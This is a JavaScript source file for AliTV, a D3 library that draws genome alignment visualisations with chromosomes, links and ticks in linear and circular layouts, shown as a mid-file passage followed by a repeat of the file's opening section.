* @param {Object} data - Object containing karyo, link and feature information
* @example
* var svg = $('#canvas');
* var wga = new AliTV(svg);
* var karyo = {
* 'chromosomes': {
* 'c1': {'genome_id': 0, 'length': 2000, 'seq': null},
* 'c2': {'genome_id': 1, 'length': 1000, 'seq': null}
* }
* };
* var features = {
* 'f1': {'karyo': 'c1', 'start': 300, 'end': 800},
* 'f2': {'karyo': 'c2', 'start': 100, 'end': 600}
* };
* var links = { "l1":
* {'source': 'f1', 'target': 'f2', 'identity': 90}
* };
* wga.setData({'karyo': karyo, 'features': features, 'links': links};
*/
AliTV.prototype.setData = function(data) {
this.data = data;
};
/**
* Sets the filters of the AliTV object.
* For the required format see the documentation of the filters property
* The filters are highly dependent on the data object and have to resemble its layout
* @author Markus Ankenbrand <[email protected]>
* @param {Object} filters - Object containing data specific drawing information
* @example
* var svg = $('#canvas');
* var wga = new AliTV(svg);
* var karyo = {
* 'chromosomes': {
* 'c1': {'genome_id': 0, 'length': 2000, 'seq': null},
* 'c2': {'genome_id': 1, 'length': 1000, 'seq': null}
* }
* };
* var features = {
* 'f1': {'karyo': 'c1', 'start': 300, 'end': 800},
* 'f2': {'karyo': 'c2', 'start': 100, 'end': 600}
* };
* var links = {"l1":
* {'source': 'f1', 'target': 'f2', 'identity': 90}
* };
* wga.setData({'karyo': karyo, 'features': features, 'links': links};
* var filters = {
* 'karyo': {
* 'order': ['c1', 'c2'],
* 'genome_order': ['0', '1'],
* 'chromosomes': {
* 'c1': {'reverse': false, 'visible': true},
* 'c2': {'reverse': false, 'visible': true}
* }
* }
* };
* wga.setFilters(filters);
* wga.drawLinear();
* wga.drawCircular();
*/
AliTV.prototype.setFilters = function(filters) {
this.filters = filters;
};
/**
* Calculates coordinates for the chromosomes to draw in the linear layout.
* This function operates on the data property of the object and therefore needs no parameters.
* This function is primarily meant for internal usage, the user should not need to call this directly.
* @author Markus Ankenbrand <[email protected]>
* @returns {Array} Array containing one Object for each element in data.karyo of the form {karyo: 'karyo_name', x:0, y:0, width:10, height:10}
*/
AliTV.prototype.getLinearKaryoCoords = function() {
var linearKaryoCoords = [];
var genome_order = this.filters.karyo.genome_order;
var conf = this.conf;
var genomeDistance = this.getGenomeDistance();
var that = this;
var visibleChromosomes = that.filterChromosomes();
var total = [];
var current = [];
var i;
// Initialize total with the negative of one karyoDistance - as there is one space less then karyos per genome
for (i = 0; i < genome_order.length; i++) {
total.push(-conf.graphicalParameters.karyoDistance);
current.push(0);
}
$.each(visibleChromosomes, function(key, value) {
total[genome_order.indexOf(value.genome_id)] += value.length + conf.graphicalParameters.karyoDistance;
});
var maxTotalSize = Math.max.apply(null, total);
for (i = 0; i < this.filters.karyo.order.length; i++) {
var key = this.filters.karyo.order[i];
var value = visibleChromosomes[key];
var coord = {
'karyo': key,
'y': genome_order.indexOf(value.genome_id) * genomeDistance,
'height': conf.graphicalParameters.karyoHeight,
'genome': value.genome_id
};
if (this.filters.karyo.chromosomes[key].reverse === false) {
coord.width = (value.length / maxTotalSize) * conf.graphicalParameters.width;
coord.x = (current[genome_order.indexOf(value.genome_id)] / maxTotalSize) * conf.graphicalParameters.width;
} else {
coord.x = (current[genome_order.indexOf(value.genome_id)] / maxTotalSize) * conf.graphicalParameters.width + (value.length / maxTotalSize) * conf.graphicalParameters.width;
coord.width = (value.length / maxTotalSize) * conf.graphicalParameters.width * (-1);
}
current[genome_order.indexOf(value.genome_id)] += value.length + conf.graphicalParameters.karyoDistance;
linearKaryoCoords.push(coord);
}
return linearKaryoCoords;
};
/**
* Calculate coordinates for the links to draw in the linear layout and uses link-data and karyo-coordinates
* this function should also check if links are adjacent or not and save this information in the link property "adjacent"
* This function is primarily meant for internal usage, the user should not need to call this directly
* @author Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearKaryoCoords()
* @returns {Array} Returns an Array which is presented in the following example
* @example [
* {"linkID": "l1", "source0": {"x":0, "y":10}, "target0": {"x": 0, "y":20}, "source1": {"x":10, "y":10}, "target1": {"x":10, "y":20}, "adjacent": true}
* ]
*/
AliTV.prototype.getLinearLinkCoords = function(coords) {
var linearLinkCoords = [];
if (typeof coords === 'undefined') {
return linearLinkCoords;
}
var that = this;
var conf = this.conf;
var visibleLinks = that.data.links;
var karyoMap = {};
$.each(coords, function(key, value) {
karyoMap[value.karyo] = key;
});
$.each(visibleLinks, function(key, value) {
var link = {};
link.linkID = key;
link.source0 = {};
link.source1 = {};
link.target0 = {};
link.target1 = {};
var feature1 = that.data.features[value.source];
var feature2 = that.data.features[value.target];
var karyo1 = that.data.karyo.chromosomes[feature1.karyo];
var karyo2 = that.data.karyo.chromosomes[feature2.karyo];
var karyo1Coords = coords[karyoMap[feature1.karyo]];
var karyo2Coords = coords[karyoMap[feature2.karyo]];
var genomePosition1 = that.filters.karyo.genome_order.indexOf(karyo1.genome_id);
var genomePosition2 = that.filters.karyo.genome_order.indexOf(karyo2.genome_id);
var lengthOfFeature1 = Math.abs(that.data.features[value.source].end - that.data.features[value.source].start);
var lengthOfFeature2 = Math.abs(that.data.features[value.target].end - that.data.features[value.target].start);
if (genomePosition1 > genomePosition2) {
var tmp = feature1;
feature1 = feature2;
feature2 = tmp;
tmp = karyo1;
karyo1 = karyo2;
karyo2 = tmp;
tmp = karyo1Coords;
karyo1Coords = karyo2Coords;
karyo2Coords = tmp;
}
link.source0.x = karyo1Coords.x + karyo1Coords.width * feature1.start / karyo1.length;
link.source0.y = karyo1Coords.y + karyo1Coords.height + conf.graphicalParameters.linkKaryoDistance;
link.source1.x = karyo1Coords.x + karyo1Coords.width * feature1.end / karyo1.length;
link.source1.y = karyo1Coords.y + karyo1Coords.height + conf.graphicalParameters.linkKaryoDistance;
link.target0.x = karyo2Coords.x + karyo2Coords.width * feature2.start / karyo2.length;
link.target0.y = karyo2Coords.y - conf.graphicalParameters.linkKaryoDistance;
link.target1.x = karyo2Coords.x + karyo2Coords.width * feature2.end / karyo2.length;
link.target1.y = karyo2Coords.y - conf.graphicalParameters.linkKaryoDistance;
linearLinkCoords.push(link);
});
return linearLinkCoords;
};
/**
* This function draws the karyos in the linear layout, color them according to their genome_id and add some events to the chromosome.
* @author Markus Ankenbrand and Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearKaryoCoords()
*/
AliTV.prototype.drawLinearKaryo = function(linearKaryoCoords) {
var that = this;
that.svgD3.selectAll(".karyoGroup").remove();
that.svgD3.append("g")
.attr("class", "karyoGroup")
.selectAll("path")
.data(linearKaryoCoords)
.enter()
.append("rect")
.attr("class", "karyo")
.attr("x", function(d) {
if (d.width < 0) {
return d.x + d.width;
} else {
return d.x;
}
})
.attr("y", function(d) {
return d.y;
})
.attr("width", function(d) {
return Math.abs(d.width);
})
.attr("height", function(d) {
return d.height;
})
.on("mouseover", function(g) {
that.fadeLinks(g, 0.1);
})
.on("mouseout", function(g) {
that.fadeLinks(g, 1);
})
.on("click", function(g) {
that.filters.karyo.chromosomes[g.karyo].reverse = !that.filters.karyo.chromosomes[g.karyo].reverse;
that.drawLinear();
})
.style("fill", function(d) {
return that.colorKaryoByGenomeId(that.data.karyo.chromosomes[d.karyo].genome_id);
});
};
/**
* This function color links according to their identity and is called by drawLinearLinks within the style attribute
* It operates on the identity value of the links and therefore the identity should be assigned to the function
* The identity is assigned to a color which is used by the drawLinearLinks function, so the returned value is the RGB farbcode
* @author Sonja Hohlfeld
*/
AliTV.prototype.colorLinksByIdentity = function(identity) {
var that = this;
var linkIdentityDomain = [0, that.conf.minLinkIdentity, that.conf.midLinkIdentity, that.conf.maxLinkIdentity, 100];
var linkIdentityColorRange = [that.conf.minLinkIdentityColor, that.conf.minLinkIdentityColor, that.conf.midLinkIdentityColor, that.conf.maxLinkIdentityColor, that.conf.maxLinkIdentityColor];
var color = d3.scale.linear()
.domain(linkIdentityDomain)
.range(linkIdentityColorRange);
return color(identity);
};
/**
* This function color karyos according to their genome_id and is called by drawLinearKaryo within the style attribute
* It operates on the genome_id of the links and therefore the genome_id should be assigned to the function
* The genome_id is assigned to a color which is used by the drawLinearKaryo function, so the returned value is the RGB farbcode
* @author Sonja Hohlfeld
*/
AliTV.prototype.colorKaryoByGenomeId = function(genomeId) {
var that = this;
var genomeOrder = [0, (that.filters.karyo.genome_order.length - 1)];
var colorRange = [that.conf.linear.startLineColor, that.conf.linear.endLineColor];
var color = d3.scale.linear()
.domain(genomeOrder)
.range(colorRange);
return color(genomeId);
};
/**
* This function calculates the tick coords and operates on the chromosomes and need the length in bp and the width in px of the karyo.
* @author Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearKaryoCoords()
* @return {Array} The array containing the tick coordinates as shown in the following example
* @example linearTickCoords = [[0, 50, 100, 150, 200], [0, 50, 100], [100, 150, 200]]
*/
AliTV.prototype.getLinearTickCoords = function(karyoCoords) {
var that = this;
var linearTickCoords = [];
$.each(karyoCoords, function(key, value) {
var ticks = [];
var scale = d3.scale.linear()
.domain([0, that.data.karyo.chromosomes[value.karyo].length])
.range([value.x, value.x + value.width]);
var chromosomePosition = 0;
while (chromosomePosition <= that.data.karyo.chromosomes[value.karyo].length) {
ticks.push(scale(chromosomePosition));
chromosomePosition += that.conf.graphicalParameters.tickDistance;
var coords = {};
coords.x1 = ticks[ticks.length - 1];
coords.y1 = value.y - 5;
coords.x2 = ticks[ticks.length - 1];
coords.y2 = value.y + value.height + 5;
linearTickCoords.push(coords);
}
});
return linearTickCoords;
};
/**
* This function draw the ticks in the linear layout.
* @author Sonja Hohlfeld
* @param {Array} The array containing the coordinates as returned by getLinearTickCoords()
*/
AliTV.prototype.drawLinearTicks = function(linearTickCoords) {
var that = this;
this.svgD3.selectAll(".tickGroup").remove();
that.svgD3.append("g")
.attr("class", "tickGroup")
.selectAll("path")
.data(linearTickCoords)
.enter()
.append("line")
.attr("class", "tick")
.attr("x1", function(d) {
return d.x1;
})
.attr("y1", function(d) {
return d.y1;
})
.attr("x2", function(d) {
return d.x2;
})
.attr("y2", function(d) {
return d.y2;
})
.style("stroke", "#000");
};
/**
* This function is called by a mouse event.
* If the mouse pointer enters the area of a chromosome all links should be faded out except the the links of the chromosome the mouse points to.
* If the mouse pointer leaves the area of a chromosome all links should be faded in.
* @param {Number} The opacity value is a number between 0 and 1 and indicates the degree of the colored link opacity.
*/
AliTV.prototype.fadeLinks = function(g, opacity) {
var that = this;
that.svgD3.selectAll(".link")
.filter(function(d) {
return that.data.features[that.data.links[d.linkID].source].karyo != g.karyo && that.data.features[that.data.links[d.linkID].target].karyo != g.karyo;
})
.transition()
.style("opacity", opacity);
};
/**
* This function draws adjacent links in the linear layout
* @author Sonja Hohlfeld
* @param {Array} The array linearLinkCoords containing the coordinates of all links as returned by getLinearLinkCoords()
*/
AliTV.prototype.drawLinearLinks = function(linearLinkCoords) {
var that = this;
var coordsToPath = function(link) {
var diagonal = d3.svg.diagonal().source(function(d) {
return d.source;
}).target(function(d) {
return d.target;
});
var path1 = diagonal({
source: link.source0,
target: link.target0
});
var path2 = diagonal({
source: link.target1,
target: link.source1
}).replace(/^M/, 'L');
var shape = path1 + path2 + 'Z';
return shape;
};
this.svgD3.selectAll(".linkGroup").remove();
this.svgD3.append("g")
.attr("class", "linkGroup")
.selectAll("path")
.data(linearLinkCoords)
.enter()
.append("path")
.attr("class", "link")
.attr("d", coordsToPath)
.style("fill", function(d) {
return that.colorLinksByIdentity(that.data.links[d.linkID].identity);
});
};
/**
* This function draws the data in the linear layout.
* It operates on the data of the object and therefore needs no parameters.
* It draws directly on the svg and therefore has no return value.
* @author Markus Ankenbrand <[email protected]>
*/
AliTV.prototype.drawLinear = function() {
var karyoCoords = this.getLinearKaryoCoords();
var linearTickCoords = this.getLinearTickCoords(karyoCoords);
this.drawLinearTicks(linearTickCoords);
this.drawLinearKaryo(karyoCoords);
var linkCoords = this.getLinearLinkCoords(karyoCoords);
this.drawLinearLinks(linkCoords);
this.conf.layout = "linear";
};
/**
* Calculates coordinates for the chromosomes to draw in the circular layout.
* This function operates on the data property of the object and therefore needs no parameters.
* This function is primarily meant for internal usage, the user should not need to call this directly.
* @author Markus Ankenbrand <[email protected]>
* @returns {Array} Array containing one Object for each element in data.karyo of the form {karyo: 'karyo_name', startAngle:0, endAngle:1}
*/
AliTV.prototype.getCircularKaryoCoords = function() {
var circularKaryoCoords = [];
var total = 0;
var spacer = this.conf.graphicalParameters.karyoDistance;
var chromosomes = this.data.karyo.chromosomes;
var order = this.filters.karyo.order;
var current = -spacer;
$.each(chromosomes, function(key, value) {
total += value.length + spacer;
});
for (var i = 0; i < order.length; i++) {
var key = order[i];
var value = chromosomes[key];
var data = {
"karyo": key,
"startAngle": ((current + spacer) / total) * (2 * Math.PI),
};
current += value.length + spacer;
data.endAngle = (current / total) * (2 * Math.PI);
if (this.filters.karyo.chromosomes[key].reverse === true) {
var startAngle = data.startAngle;
var endAngle = data.endAngle;
data.startAngle = endAngle;
data.endAngle = startAngle;
}
circularKaryoCoords.push(data);
}
return circularKaryoCoords;
};
/**
* Calculate coordinates for the links to draw in the cirular layout and uses link-data and karyo-coordinates
* This function is primarily meant for internal usage, the user should not need to call this directly
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularKaryoCoords()
* @returns {Array} Returns an Array which is presented in the following example
* @example [
* {"linkID": "l1", "source": {"startAngle":1, "endAngle":3}, "target": {"startAngle":4, "endAngle":6}}
* ]
*/
AliTV.prototype.getCircularLinkCoords = function(coords) {
var circularLinkCoords = [];
if (typeof coords === 'undefined') {
return circularLinkCoords;
}
var that = this;
var karyoMap = {};
$.each(coords, function(key, value) {
karyoMap[value.karyo] = key;
});
$.each(this.data.links, function(key, value) {
var link = {};
link.linkID = key;
var feature1 = that.data.features[value.source];
var feature2 = that.data.features[value.target];
var karyo1 = that.data.karyo.chromosomes[feature1.karyo];
var karyo2 = that.data.karyo.chromosomes[feature2.karyo];
var karyo1Coords = coords[karyoMap[feature1.karyo]];
var karyo2Coords = coords[karyoMap[feature2.karyo]];
var sourceScale = d3.scale.linear().domain([0, karyo1.length]).range([karyo1Coords.startAngle, karyo1Coords.endAngle]);
var targetScale = d3.scale.linear().domain([0, karyo2.length]).range([karyo2Coords.startAngle, karyo2Coords.endAngle]);
link.source = {
startAngle: sourceScale(feature1.start),
endAngle: sourceScale(feature1.end)
};
link.target = {
startAngle: targetScale(feature2.start),
endAngle: targetScale(feature2.end)
};
circularLinkCoords.push(link);
});
return circularLinkCoords;
};
/**
* This function calculates the coordinates (angles) for the ticks in the circular layout
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularKaryoCoords()
* @returns {Array} Returns an Array of angles
*/
AliTV.prototype.getCircularTickCoords = function(coords) {
var that = this;
var circularTickCoords = [];
$.each(coords, function(key, value) {
var karyoLength = that.data.karyo.chromosomes[value.karyo].length;
var baseToAngle = d3.scale.linear().domain([0, karyoLength]).range([value.startAngle, value.endAngle]);
var chromosomePosition = 0;
while (chromosomePosition <= karyoLength) {
circularTickCoords.push(baseToAngle(chromosomePosition));
chromosomePosition += that.conf.graphicalParameters.tickDistance;
}
});
return circularTickCoords;
};
/**
* This function draws the karyos in the circular layout, color them according to their genome_id and add some eventHandlers.
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularKaryoCoords()
*/
AliTV.prototype.drawCircularKaryo = function(coords) {
var that = this;
this.svgD3.selectAll(".karyoGroup").remove();
var outerRadius = this.getOuterRadius();
this.svgD3.append("g")
.attr("class", "karyoGroup")
.attr("transform", "translate(" + this.conf.graphicalParameters.width / 2 + "," + this.conf.graphicalParameters.height / 2 + ")")
.selectAll("path")
.data(coords)
.enter()
.append("path")
.attr("d", d3.svg.arc().innerRadius(outerRadius - this.conf.graphicalParameters.karyoHeight).outerRadius(outerRadius))
.attr("class", "karyo")
.style("fill", function(d) {
return that.colorKaryoByGenomeId(that.data.karyo.chromosomes[d.karyo].genome_id);
})
.on("mouseover", function(g) {
that.fadeLinks(g, 0.1);
})
.on("mouseout", function(g) {
that.fadeLinks(g, 1);
})
.on("click", function(g) {
that.filters.karyo.chromosomes[g.karyo].reverse = !that.filters.karyo.chromosomes[g.karyo].reverse;
that.drawCircular();
});
};
/**
* This function draws the ticks to the karyos in the circular layout
* @author Markus Ankenbrand
* @param {Array} The array containing the coordinates as returned by getCircularTickCoords()
*/
AliTV.prototype.drawCircularTicks = function(coords) {
var that = this;
that.svgD3.selectAll(".tickGroup").remove();
that.svgD3.append("g")
.attr("class", "tickGroup")
.attr("transform", "translate(" + this.conf.graphicalParameters.width / 2 + "," + this.conf.graphicalParameters.height / 2 + ")")
.selectAll("path")
.data(coords)
.enter()
.append("path")
.attr("d", function(d) {
var startPoint = d3.svg.line.radial()([
[that.getOuterRadius() + that.conf.circular.tickSize, d]
]);
var endPoint = d3.svg.line.radial()([
[that.getOuterRadius(), d]
]);
endPoint = endPoint.replace(/^M/, 'L');
return startPoint + endPoint + "Z";
})
.style("stroke", "#000");
};
/**
* This function draws links in the circular layout
* @author Markus Ankenbrand
* @param {Array} The array circularLinkCoords containing the coordinates of all links as returned by getCircularLinkCoords()
*/
AliTV.prototype.drawCircularLinks = function(circularLinkCoords) {
var that = this;
this.svgD3.selectAll(".linkGroup").remove();
this.svgD3.append("g")
.attr("class", "linkGroup")
.attr("transform", "translate(" + this.conf.graphicalParameters.width / 2 + "," + this.conf.graphicalParameters.height / 2 + ")")
.selectAll("path")
.data(circularLinkCoords)
.enter()
.append("path")
.attr("class", "link")
.attr("d", d3.svg.chord().radius(this.getOuterRadius() - this.conf.graphicalParameters.karyoHeight - this.conf.graphicalParameters.linkKaryoDistance))
.style("fill", function(d) {
return that.colorLinksByIdentity(that.data.links[d.linkID].identity);
});
};
/**
* This function draws the data in the circular layout.
* It operates on the data of the object and therefore needs no parameters.
* It draws directly on the svg and therefore has no return value.
* @author Markus Ankenbrand <[email protected]>
*/
AliTV.prototype.drawCircular = function() {
var karyoCoords = this.getCircularKaryoCoords();
var tickCoords = this.getCircularTickCoords(karyoCoords);
this.drawCircularTicks(tickCoords);
this.drawCircularKaryo(karyoCoords);
var linkCoords = this.getCircularLinkCoords(karyoCoords);
this.drawCircularLinks(linkCoords);
this.conf.layout = "circular";
};
/**
* This function returns the information of the spacer between two chromosomes which is set in the configuration.
* @returns {Number} The actual spacer.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getLinearSpacer = function() {
return this.conf.graphicalParameters.karyoDistance;
};
/**
* This function replaces the old spacer with the new spacer in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong spacer it throws an error message.
* @param {Number} The function gets the spacer which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setLinearSpacer = function(spacer) {
if (spacer === "") {
throw "empty";
} else if (isNaN(spacer)) {
throw "not a number";
} else if (spacer <= 0) {
throw "spacer is to small, it should be > 0";
} else {
spacer = Number(spacer);
this.conf.graphicalParameters.karyoDistance = spacer;
return this.conf.graphicalParameters.karyoDistance;
}
};
/**
* This function returns the height of the chromosomes between two genomes which is set in the configuration.
* @returns {Number} The actual height of chromosomes.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getKaryoHeight = function() {
return this.conf.graphicalParameters.karyoHeight;
};
/**
* This function replaces the old height of the chromosomes with the new value in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the height of chromosomes which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setKaryoHeight = function(height) {
if (height === "") {
throw "empty";
} else if (isNaN(height)) {
throw "not a number";
} else if (height <= 0) {
throw "genome distance is to small, it should be > 0";
} else {
height = Number(height);
this.conf.graphicalParameters.karyoHeight = height;
return this.conf.graphicalParameters.karyoHeight;
}
};
/**
* This function returns the width of the svg drawing area.
* @returns {Number} The width of canvas.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getCanvasWidth = function() {
return this.conf.graphicalParameters.width;
};
/**
* This function replaces the old width of the drawing area with the new width in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the width of the svg drawing area which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setCanvasWidth = function(width) {
if (width === "") {
throw "empty";
} else if (isNaN(width)) {
throw "not a number";
} else if (width <= 0) {
throw "width is to small, it should be > 0";
} else {
width = Number(width);
this.conf.graphicalParameters.width = width;
$('#wgaCanvas').width(this.conf.graphicalParameters.width);
return this.conf.graphicalParameters.width;
}
};
/**
* This function returns the height of the svg drawing area.
* @returns {Number} The height of canvas.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getCanvasHeight = function() {
return this.conf.graphicalParameters.height;
};
/**
* This function replaces the old height of the drawing area with the new height in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the height of the svg drawing area which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setCanvasHeight = function(height) {
if (height === "") {
throw "empty";
} else if (isNaN(height)) {
throw "not a number";
} else if (height <= 0) {
throw "height is to small, it should be > 0";
} else {
height = Number(height);
this.conf.graphicalParameters.height = height;
$('#wgaCanvas').height(this.conf.graphicalParameters.height);
return this.conf.graphicalParameters.height;
}
};
/**
* This function returns the distance of the chromosome ticks in bp.
* @returns {Number} The tick distance in bp.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getTickDistance = function() {
return this.conf.graphicalParameters.tickDistance;
};
/**
* This function replaces the old distance between ticks with the new distance in the config-object.
* It is called by a blur()-event, when the decription field loses focus.
* When the method gets a wrong value it throws an error message.
* @param {Number} The function gets the distance between ticks which can be set by the user.
* @throws Will throw an error if the argument is empty.
* @throws Will throw an error if the argument is not a number.
* @throws Will throw an error if the argument is less than 0 or equal to 0.
* @author Sonja Hohlfeld
*/
AliTV.prototype.setTickDistance = function(distance) {
if (distance === "") {
throw "empty";
} else if (isNaN(distance)) {
throw "not a number";
} else if (distance <= 0) {
throw "distance is to small, it should be > 0";
} else {
distance = Number(distance);
this.conf.graphicalParameters.tickDistance = distance;
return this.conf.graphicalParameters.tickDistance;
}
};
/**
* This function returns the current layout.
* @returns {String} The current layout: linear or circular.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getLayout = function() {
return this.conf.layout;
};
/**
* This function should draw the equal layout according to the current layout.
* @param {String} The current layout, this means circular or linear.
* @author Sonja Hohlfeld
*/
AliTV.prototype.drawEqualLayout = function(layout) {
if (layout === "linear") {
this.drawLinear();
return this.conf.layout;
} else {
this.drawCircular();
return this.conf.layout;
}
};
/**
* This function calculates the appropriate outerRadius of the circular layout for the current svg dimensions.
* @returns {Number} outerRadius - the outer radius in px
* @author Markus Ankenbrand
*/
AliTV.prototype.getOuterRadius = function() {
var outerRadius = 0.45 * Math.min(this.getCanvasHeight(), this.getCanvasWidth());
return outerRadius;
};
/**
* This function calculates the appropriate genomeDistance of the linear layout for the current svg height.
* @returns {Number} genomeDistance - the distance between genomes in the linear layout.
* @author Sonja Hohlfeld
*/
AliTV.prototype.getGenomeDistance = function() {
var genomeDistance = (this.getCanvasHeight() - this.getKaryoHeight()) / (this.filters.karyo.genome_order.length - 1);
return Math.round(genomeDistance);
};
/**
* This method should call other filter functions in order to filter the visible chromosomes.
* @returns visibleChromosomes: returns only chromosomes which are visible
* @author Sonja Hohlfeld
*/
AliTV.prototype.filterChromosomes = function() {
var visibleChromosomes = this.data.karyo.chromosomes;
visibleChromosomes = this.filterVisibleChromosomes(visibleChromosomes);
return visibleChromosomes;
};
| d3/js/AliTV.js | /* global d3: false */
/* global $: false */
/* global _: false */
/* global document: false */
/**
* Creates an object of type AliTV for drawing whole genome alignment visualizations
* @author Markus Ankenbrand <[email protected]>
* @constructor
* @param {Object} svg - jQuery object containing a svg DOM element. Visualizations will be drawn on this svg. Size may be changed by object methods. Previous content will be deleted.
* @example
* // initializes an AliTV object (wga) on the svg element with id 'canvas'
* var svg = $('#canvas');
* var wga = new AliTV(svg);
*/
function AliTV(svg) {
/**
* property to contain the svg DOM element as jQuery Object
*/
this.svg = svg;
/**
* property to contain the svg DOM element as d3 Object
*/
this.svgD3 = d3.selectAll(svg);
/**
* property to store the data
* @property {Object} karyo - the chromosome information
* @property {Object} karyo.chromosomes - the chromosome details, karyo IDs as keys
* @property {Number} karyo.chromosomes.genome_id - number of genome to which this chromosome belongs
* @property {Number} karyo.chromosomes.length - length in bp
* @property {String} karyo.chromosomes.seq - sequence of the chromosome
* @property {Object} features - the feature information, feature IDs as keys
* @property {String} features.karyo - the karyo ID
* @property {Number} features.start - start position on the sequence
* @property {Number} features.end - end position on the sequence
* @property {Object} links - the link information, link IDs as keys
* @property {String} links.source - source feature of the link
* @property {String} links.target - target feature of the link
* @property {Number} links.identity - identity of the link
*/
this.data = {};
/**
* property to store data specific drawing options (structure highly dependent on data structure)
* @property {Object} filters - the data dependent displaying information
* @property {Object} filters.karyo - the chromosome dependent displaying information
* @property {Boolean} filters.skipChromosomesWithoutVisibleLinks - If a chromosome has no visible links, because they are filtered, it is possible to skip this chromosome.
* @property {Boolean} filters.skipChromosomesWithoutLinks - If a chromosome has no links, the user have the possibility to skip them.
* @property {Boolean} filters.showAllChromosomes - Allows to show all chromosomes, even if when they are set not visible.
* @property {Array} filters.karyo.order - array of chromosome IDs in the desired order (circular layout)
* @property {Array} filters.karyo.genome_order - array of genome IDs in the desired order (linear layout)
* @property {Object} filters.karyo.chromosomes - the chromosome drawing details, karyo IDs as keys
* @property {Boolean} filters.karyo.chromosomes.reverse - should the sequence be treated as its reverse (complement)
* @property {Boolean} filters.karyo.chromosomes.visible - should the sequence be displayed at all
* @property {Number} filters.links.minLinkIdentity - The minimum identity of links which should be draw.
* @property {Number} filters.links.maxLinkIdentity - The maximum identity of links which should be draw.
* @property {Number} filters.links.minLinkLength - The minimum length of links, which should be draw in bp.
* @property {Number} filters.links.maxLinkLength - The maximum length of links, which should be draw in bp.
*/
this.filters = {};
/**
* property to store configuration options
* @property {Object} linear - The configuration options for the linear layout.
* @property {Boolean} linear.drawAllLinks - Only adjacent links should be drawn, but the user has the possibility to set this value on true, so all links will be drawn.
* @property {String} linear.startLineColor - The start color of the color gradient for drawing karyos according to their genomeId
* @property {String} linear.endLineColor - The end color of the color gradient.
* @property {Object} circular - The configuration options for the circular layout.
* @property {Number} circular.tickSize - The size of the ticks in pixels.
* @property {Number} minLinkIdentity - The minimum of the link identity the user wants to color.
* @property {Number} maxLinkIdentity - The maximum of the link identity the user wants to color.
* @property {Number} midLinkIdentity - The middle of the link identity the user wants to color.
* @property {String} minLinkIdentityColor - The color of the minimum link.
* @property {String} maxLinkIdentityColor - The color of the maximum link.
* @property {String} midLinkIdentityColor - The color of the middle link.
* @property {Number} minLinkLength - The minimum length of a link:
* @property {Number} maxLinkLength - The maximum length of a link.
* @property {Object} graphicalParameters - The configuration options for all graphical parameters.
* @property {Number} graphicalParameters.width - The width of the svg in px.
* @property {Number} graphicalParameters.height - The height of the svg in px.
* @property {Number} graphicalParameters.karyoHeight - The height of each chromosome in px.
* @property {Number} graphicalParameters.karyoDistance - The horizontal distance between adjacent chromosomes of the same genome in bp.
* @property {Number} graphicalParameters.linkKaryoDistance - The vertical distance between chromosomes and links in px.
* @property {Number} graphicalParameters.tickDistance - The distance in bp of ticks on the drawn chromosomes.
* @property {String} layout - Contains the current layout, this means linear or circular.
*/
this.conf = {
linear: {
drawAllLinks: false,
startLineColor: "#49006a",
endLineColor: "#1d91c0",
},
circular: {
tickSize: 5
},
graphicalParameters: {
width: 1000,
height: 1000,
karyoHeight: 30,
karyoDistance: 10,
linkKaryoDistance: 10,
tickDistance: 100
},
minLinkIdentity: 40,
maxLinkIdentity: 100,
midLinkIdentity: 60,
minLinkIdentityColor: "#D21414",
maxLinkIdentityColor: "#1DAD0A",
midLinkIdentityColor: "#FFEE05",
minLinkLength: 100,
maxLinkLength: 5000,
layout: "linear"
};
// Initialize svg size
svg.height(this.conf.graphicalParameters.height);
svg.width(this.conf.graphicalParameters.width);
}
/**
* Sets the data of the AliTV object.
* For the required format see the documentation of the data property
* @author Markus Ankenbrand <[email protected]>
* @param {Object} data - Object containing karyo, link and feature information
* @example
* var svg = $('#canvas');
* var wga = new AliTV(svg);
* var karyo = {
* 'chromosomes': {
* 'c1': {'genome_id': 0, 'length': 2000, 'seq': null},
* 'c2': {'genome_id': 1, 'length': 1000, 'seq': null}
* }
* };
* var features = {
* 'f1': {'karyo': 'c1', 'start': 300, 'end': 800},
* 'f2': {'karyo': 'c2', 'start': 100, 'end': 600}
* };
* var links = { "l1":
* {'source': 'f1', 'target': 'f2', 'identity': 90}
* };
* wga.setData({'karyo': karyo, 'features': features, 'links': links};
*/
AliTV.prototype.setData = function(data) {
this.data = data;
};
/**
* Sets the filters of the AliTV object.
* For the required format see the documentation of the filters property
* The filters are highly dependent on the data object and have to resemble its layout
* @author Markus Ankenbrand <[email protected]>
* @param {Object} filters - Object containing data specific drawing information
* @example
* var svg = $('#canvas');
* var wga = new AliTV(svg);
* var karyo = {
* 'chromosomes': {
* 'c1': {'genome_id': 0, 'length': 2000, 'seq': null},
